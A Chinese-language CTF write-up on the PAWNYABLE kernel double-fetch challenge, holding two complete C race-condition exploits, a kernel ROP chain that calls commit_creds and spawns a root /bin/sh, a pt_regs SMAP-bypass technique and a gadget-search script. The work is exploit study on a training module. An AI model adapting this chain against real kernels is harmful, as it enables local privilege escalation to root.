PAWNYABLE kernel double fetch 笔记
感觉就像是 toctou?先检查后使用?
static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
if (verify_request((void*)arg))
return -EINVAL;
switch (cmd) {
case CMD_GET: return copy_data_to_user(filp, (void*)arg);
case CMD_SET: return copy_data_from_user(filp, (void*)arg);
default: return -EINVAL;
}
}
如果没开 smap
堆块的范围是 kmalloc-32,可以用 seq structure 获得 kernel base。
寻找 gadget 来改变 rsp 的时候发现,既没有什么可以控制的寄存器,有没有固定的地址,于是就使用一个 mov esp, 0x39000000; ret;
的 gadget 来进行跳转。
BUG: unable to handle page fault for address: 0000000123456789
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0010) - not-present page
PGD 8000000001fb2067 P4D 8000000001fb2067 PUD 0
Oops: 0010 [#1] PREEMPT SMP PTI
CPU: 1 PID: 123 Comm: exp Tainted: G O 5.17.1 #3
Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian4
RIP: 0010:0x123456789
Code: Unable to access opcode bytes at RIP 0x12345675f.
RSP: 0018:ffff9c4b40183de8 EFLAGS: 00000246
RAX: 0000000123456789 RBX: ffff9c4b40183e88 RCX: 00000000001119c1
RDX: 0000000000111981 RSI: ffff893381ff2c58 RDI: ffff893381ff2c30
RBP: ffff9c4b40183e40 R08: ffff893381ee0000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
R13: 0000011111111111 R14: ffff893381ff2c58 R15: ffff893381ff2c30
FS: 00000000004cf3c0(0000) GS:ffff893382500000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000123456789 CR3: 0000000001ff8000 CR4: 00000000001006e0
exp 跟之前的思路差不多其实
#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
#define LEAK_SIZE 0x100
#define SEQ_SIZE 0x100
typedef struct {
char *ptr;
uint64_t len;
} request_t;
int fd;
request_t req;
int race_win = 0;
int seq_fd[SEQ_SIZE];
char buf[0x100] = {0};
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t kbase;
uint64_t commit_creds = 0x72810;
uint64_t prepare_kernel_cred = 0x729b0;
uint64_t srrartu = 0x800e10;
uint64_t modprobe_path = 0xe37e60;
uint64_t pop_rdi_ret = 0x9b0cd;
uint64_t pop_rcx_ret = 0x10d88b;
uint64_t mov_rdi_rax_ret = 0x63d0ab;
uint64_t swapgs = 0x63c5ae;
// 0xffffffff8152027a: mov esp, 0x39000000; ret;
uint64_t mov_esp_x_ret = 0x52027a;
uint64_t nop_ret = 0xd5f;
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void print_hex(char *name, uint64_t addr) {
printf("%s 0x%" PRIx64 "\n", name, addr);
}
void *race(void *) {
while (!race_win) {
req.len = LEAK_SIZE;
usleep(1);
}
}
void race_read(int len, char *buf) {
race_win = 0;
pthread_t t;
pthread_create(&t, NULL, race, NULL);
req.ptr = buf;
for (int i = 0; i < 0x90000; i++) {
req.len = 0x20;
if (ioctl(fd, CMD_GET, &req) == 0 && *(uint64_t *)(buf + 0x20)) {
for (int j = 0; j < LEAK_SIZE; j += 8) {
print_hex("leak", *(uint64_t *)(buf + j));
}
race_win = 1;
break;
}
}
race_win = 1;
pthread_join(t, NULL);
}
void race_write(int len, char *buf) {
race_win = 0;
pthread_t t;
pthread_create(&t, NULL, race, NULL);
req.ptr = buf;
for (int i = 0; i < 0x90000; i++) {
req.len = 0x20;
ioctl(fd, CMD_SET, &req);
}
race_win = 1;
pthread_join(t, NULL);
}
void binsh() {
puts("get shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
void krop_without_smap() {
uint64_t rop[] = {pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_ret + kbase,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
srrartu + kbase + 22,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss};
char *rop_buf =
mmap((char *)0x39000000 - 0x1000, 0x2000, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
memcpy((char *)0x39000000, &rop, sizeof(rop));
*(uint64_t *)(buf + 0x20) = mov_esp_x_ret + kbase;
race_write(0x100, buf);
for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) {
read(seq_fd[i], (char *)0x11111111111, 0x22222222222);
}
}
int main() {
save_status();
for (int i = 0; i < SEQ_SIZE / 2; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
}
fd = open("/dev/dexter", O_RDWR);
for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
}
race_read(0x100, buf);
kbase = *(uint64_t *)(buf + 0x20) - 0x170f80;
krop_without_smap();
}
如果开启了 smap 呢
参考这个思路 Linux Kernel PWN | 040302 Pawnyable之双取 和 Kernel Pwn Struct seq_operations and Struct pt_regs - Wings 的博客
pt_regs
系统调用陷入内核时, 会在内核栈上保存用户态 (准确来说是 trampoline 时) 的寄存器, 以便后续恢复. 这些寄存器在内核栈底形成了一个称为 pt_regs 的结构...我们可以跳转到这里!
pt_regs 位置
pt_regs 的位置在哪里...怎么还能找到两个差不多的,不过其中一个地址距离 rsp 比较远,另一个近一点只有 0x170。
用这个寄存器布置来测试
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, 132;"
"syscall"
);
在内存里面搜索
pwndbg> search -8 0xbeefdead
Searching for value: b'\xad\xde\xef\xbe\x00\x00\x00\x00'
[pt_401] 0x401f3a lodsd eax, dword ptr [rsi]
[pt_ffff91e901fbb] 0xffff91e901fc5f58 0xbeefdead
[pt_ffff91e901fe1] 0xffff91e902556f3a 0xbeefdead
[pt_ffffa3dd80190] 0xffffa3dd80193f58 0xbeefdead
pwndbg> x/10gx 0xffffa3dd80193f58
0xffffa3dd80193f58: 0x00000000beefdead 0x0000000011111111
0xffffa3dd80193f68: 0x0000000022222222 0x0000000033333333
0xffffa3dd80193f78: 0x0000000044444444 0x0000000055555555
0xffffa3dd80193f88: 0x0000000000000246 0x0000000077777777
0xffffa3dd80193f98: 0x0000000088888888 0x0000000099999999
pwndbg> x/10gx 0xffff91e901fc5f58
0xffff91e901fc5f58: 0x00000000beefdead 0x0000000011111111
0xffff91e901fc5f68: 0x0000000022222222 0x0000000033333333
0xffff91e901fc5f78: 0x0000000044444444 0x0000000055555555
0xffff91e901fc5f88: 0x0000000000000246 0x0000000077777777
0xffff91e901fc5f98: 0x0000000088888888 0x0000000099999999
pwndbg> p $rsp
$4 = (void *) 0xffffa3dd80193de8
pwndbg> p/x 0xffffa3dd80193f58 - 0xffffa3dd80193de8
$5 = 0x170
如何跳转到 pt_regs
用 gdb 测试的偏移尝试直接加 rsp 跳转过去,但是用正则表达式 ropr vmlinux -p -n -R "add rsp, 0x1[34578]\d" -u > rop_dump.txt
可以找到:
0xffffffff81063aed: add rsp, 0x188; pop rbx; pop r12; pop rbp; ret; 找到最接近的是,不太够用。
0xffffffff811eed5d: add rsp, 0x148; pop r12; pop r13; pop r14; pop rbp; ret; 不行,刚好差一个...
0xffffffff8123b9fe: add rsp, 0x178; mov eax, r12d; pop rbx; pop r12; pop rbp; ret; 这个太少了...
只好自己写了一个脚本来找...
import os
from typing import Dict
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
import argparse
import pwn
from elftools.elf.elffile import ELFFile
RET_OPCODE = b"\xc3"
def parse_args():
parser = argparse.ArgumentParser(
description="Find and disassemble sequences in a binary file."
)
parser.add_argument("binary", help="Path to the binary file to search.")
parser.add_argument("-i", "--inst", help="instruction to search")
return parser.parse_args()
def get_text_segment_offset_and_size(file_path):
with open(file_path, 'rb') as f:
elf = ELFFile(f)
for section in elf.iter_sections():
if section.name == '.text':
return section.header.sh_offset, section.header.sh_size
print(".text section not found in the file.")
return None, None
def assemble_inst(inst: str):
pwn.context.arch = "amd64"
return pwn.asm(inst)
def find_sequences(file_path, inst):
with open(file_path, "rb") as f:
binary_data = f.read()
target_inst = assemble_inst(inst)
text_offset, _ = get_text_segment_offset_and_size(file_path)
sequences: Dict[int, bytes] = {}
index = 0
while index < len(binary_data):
index = binary_data.find(target_inst, index)
if index == -1:
break
start_index = index
end_index = binary_data.find(RET_OPCODE, start_index)
if end_index == -1:
break
end_index += len(RET_OPCODE)
sequences.setdefault(start_index-text_offset, binary_data[start_index:end_index])
index = end_index
return sequences
def disassemble_sequences(sequences):
md = Cs(CS_ARCH_X86, CS_MODE_64)
for addr, seq in sequences.items():
print(f"Machine code: {seq.hex()}")
print("Disassembly:")
for instr in md.disasm(seq, addr):
print(f"0x{instr.address:x}:\t{instr.mnemonic}\t{instr.op_str}")
print("-" * 40)
if __name__ == "__main__":
args = parse_args()
if not os.path.exists(args.binary):
print(f"Error: File '{args.binary}' not found!")
else:
sequences = find_sequences(args.binary, args.inst)
if sequences:
disassemble_sequences(sequences)
else:
print("No matching sequences found.")
这样就可以找多多一点的 gadget
(pwn) [qemu] python3 find_inst.py vmlinux -i "add rsp, 0x140" 10:44:09
Machine code: 4881c4400100004489c85b415c415d415e415f5dc3
Disassembly:
0xbf813: add rsp, 0x140
0xbf81a: mov eax, r9d
0xbf81d: pop rbx
0xbf81e: pop r12
0xbf820: pop r13
0xbf822: pop r14
0xbf824: pop r15
0xbf826: pop rbp
0xbf827: ret
----------------------------------------
Machine code: 4881c44001000031c05b415c415d415e415f5dc3
Disassembly:
0x1e10b6: add rsp, 0x140
0x1e10bd: xor eax, eax
0x1e10bf: pop rbx
0x1e10c0: pop r12
0x1e10c2: pop r13
0x1e10c4: pop r14
0x1e10c6: pop r15
0x1e10c8: pop rbp
0x1e10c9: ret
----------------------------------------
布置 rop
其实也就只有 6 个 gadget 可以控制,要怎么写出来 6 个 gadget 的 rop 呢?
这里可以用 commit_creds(&init_cred)
来提权, 然后可以找 swapgs; iretq
这种 gadget, 剩下的像 rip, cs, flags, rsp, ss 等回落需要的值, 只需要设置 rsp 就行. iretq 回到用户态, 触发段错误, 用户态捕获段错误信号, 在 handle 函数中启动 root shell 即可.
pop_rdi_ret
init_cred
commit_cred
swapgs_restore_regs_and_return_to_usermode
init_cred
这个地址怎么找...? Page-level UAF - CTF Wiki
不过
init_cred
的符号有的时候是不在/proc/kallsyms
中导出的,我们在调试时未必能够获得其地址,因此这里笔者选择通过解析task_struct
的方式向上一直找到init
进程(所有进程的父进程)的task_struct
,从而获得init_cred
的地址。
比如说:
先找到当前进程的 task_structure: 这里的偏移是看了源码猜的 sched.h - include/linux/sched.h - Linux source code v6.2 - Bootlin Elixir Cross Referencer
在 pid 边上是 real_parent 的 task_struct 所以挺好定位父进程的 task_struct。
pid_t pid;
pid_t tgid;
/* Real parent process: */
struct task_struct __rcu *real_parent;
直到遇到 pid 为 0 的进程,就可以找到 init cred 是 0xffffffffa4237440 了~
pwndbg> x/10gx 0xffffffffa4212580 + 0x3f0
0xffffffffa4212970: 0x0000000000000000 0x0000000000000000
0xffffffffa4212980: 0xffffffffa4212580 0xffffffffa4212580
0xffffffffa4212990: 0xffff93ddc1090420 0xffff93ddc1091020
0xffffffffa42129a0: 0xffffffffa42129a0 0xffffffffa42129a0
0xffffffffa42129b0: 0xffffffffa4212580 0xffffffffa42129b8
pwndbg> x/10gx 0xffffffffa4212580 + 0x3f0 + 0x1c0
0xffffffffa4212b30: 0xffffffffa4237440 0xffffffffa4237440
0xffffffffa4212b40: 0x2f72657070617773 0x0000000000000030
0xffffffffa4212b50: 0x0000000000000000 0x0000000000000000
0xffffffffa4212b60: 0x0000000000000000 0x0000000000000000
0xffffffffa4212b70: 0xffffffffa42b0e80 0xffffffffa42b0980
pwndbg> x/10gx 0xffffffffa4237440
0xffffffffa4237440: 0x0000000000000004 0x0000000000000000
0xffffffffa4237450: 0x0000000000000000 0x0000000000000000
0xffffffffa4237460: 0x0000000000000000 0x0000000000000000
0xffffffffa4237470: 0x000001ffffffffff 0x000001ffffffffff
0xffffffffa4237480: 0x000001ffffffffff 0x0000000000000000
好现在 rop 布置的有模样了:
───────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────
0xffffffffbd8bf81e pop r12 R12 => 0xffffaee500193f48
0xffffffffbd8bf820 pop r13 R13 => 0xffffffffbde3c543
0xffffffffbd8bf822 pop r14 R14 => 0
0xffffffffbd8bf824 pop r15 R15 => 0
0xffffffffbd8bf826 pop rbp RBP => 0xffffffffbe00007c
► 0xffffffffbd8bf827 ret <0xffffffffbd89b0cd>
↓
0xffffffffbd89b0cd pop rdi RDI => 0xffffffffbe637440
0xffffffffbd89b0ce ret <0xffffffffbd872810>
↓
0xffffffffbd872810 push rbp
0xffffffffbd872811 mov rbp, rsp RBP => 0xffffaee500193f68 —▸ 0xffffffffbe00007c ◂— nop dword ptr [rax + rax]
0xffffffffbd872814 push r13
────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0xffffaee500193f58 —▸ 0xffffffffbd89b0cd ◂— pop rdi
01:0008│ 0xffffaee500193f60 —▸ 0xffffffffbe637440 ◂— 4
02:0010│ 0xffffaee500193f68 —▸ 0xffffffffbd872810 ◂— push rbp
03:0018│ 0xffffaee500193f70 —▸ 0xffffffffbe000e26 ◂— mov rdi, rsp
04:0020│ 0xffffaee500193f78 ◂— 0x44444444 /* 'DDDD' */
05:0028│ 0xffffaee500193f80 ◂— 0x55555555 /* 'UUUU' */
06:0030│ 0xffffaee500193f88 ◂— 0x246
07:0038│ 0xffffaee500193f90 ◂— 0x33 /* '3' */
exp 如下:
#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <signal.h>
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002
#define LEAK_SIZE 0x100
#define SEQ_SIZE 0x100
typedef struct {
char *ptr;
uint64_t len;
} request_t;
int fd;
request_t req;
int race_win = 0;
int seq_fd[SEQ_SIZE];
char buf[0x100] = {0};
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t kbase;
uint64_t commit_creds = 0x72810;
uint64_t prepare_kernel_cred = 0x729b0;
uint64_t srrartu = 0x800e10;
uint64_t modprobe_path = 0xe37e60;
uint64_t pop_rdi_ret = 0x9b0cd;
uint64_t pop_rcx_ret = 0x10d88b;
uint64_t mov_rdi_rax_ret = 0x63d0ab;
uint64_t swapgs = 0x63c5ae;
// 0xffffffff8152027a: mov esp, 0x39000000; ret;
uint64_t mov_esp_x_ret = 0x52027a;
uint64_t nop_ret = 0xd5f;
// 0xffffffff8123b9fe: add rsp, 0x178; mov eax, r12d; pop rbx; pop r12; pop rbp; ret;
uint64_t add_rsp = 0xbf813;
uint64_t init_cred = 0xe37440;
void save_status() {
asm("mov %0, cs;"
"mov %1, ss;"
"mov %3, rsp;"
"pushf;"
"pop %2;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void print_hex(char *name, uint64_t addr) {
printf("%s 0x%" PRIx64 "\n", name, addr);
}
void *race(void *) {
while (!race_win) {
req.len = LEAK_SIZE;
usleep(1);
}
}
void race_read(int len, char *buf) {
race_win = 0;
pthread_t t;
pthread_create(&t, NULL, race, NULL);
req.ptr = buf;
for (int i = 0; i < 0x90000; i++) {
req.len = 0x20;
if (ioctl(fd, CMD_GET, &req) == 0 && *(uint64_t *)(buf + 0x20)) {
for (int j = 0; j < LEAK_SIZE; j += 8) {
print_hex("leak", *(uint64_t *)(buf + j));
}
race_win = 1;
break;
}
}
race_win = 1;
pthread_join(t, NULL);
}
void race_write(int len, char *buf) {
race_win = 0;
pthread_t t;
pthread_create(&t, NULL, race, NULL);
req.ptr = buf;
for (int i = 0; i < 0x90000; i++) {
req.len = 0x20;
ioctl(fd, CMD_SET, &req);
}
race_win = 1;
pthread_join(t, NULL);
}
void binsh() {
puts("get shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
void krop_without_smap() {
uint64_t rop[] = {pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_ret + kbase,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
srrartu + kbase + 22,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss};
char *rop_buf =
mmap((char *)0x39000000 - 0x1000, 0x2000, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
memcpy((char *)0x39000000, &rop, sizeof(rop));
*(uint64_t *)(buf + 0x20) = mov_esp_x_ret + kbase;
race_write(0x100, buf);
for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) {
printf("vuln seq index %d", seq_fd[i]);
read(seq_fd[i], (char *)0x11111111111, 0x22222222222);
}
}
uint64_t binsh_addr = (uint64_t)&binsh;
void hack_pt_rags() {
*(uint64_t *)(buf + 0x20) = add_rsp + kbase;
race_write(0x100, buf);
print_hex("add rsp", add_rsp + kbase);
prctl(PR_SET_NAME, "giacomo");
signal(SIGSEGV, binsh);
pop_rdi_ret += kbase;
init_cred += kbase;
commit_creds += kbase;
srrartu += kbase + 22;
print_hex("srrartu", srrartu);
getchar();
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, srrartu;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, user_sp;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, 132;"
"syscall"
);
}
int main() {
save_status();
for (int i = 0; i < SEQ_SIZE / 2; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
}
fd = open("/dev/dexter", O_RDWR);
for (int i = SEQ_SIZE / 2; i < SEQ_SIZE; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
}
race_read(0x100, buf);
kbase = *(uint64_t *)(buf + 0x20) - 0x170f80;
// krop_without_smap();
hack_pt_rags();
}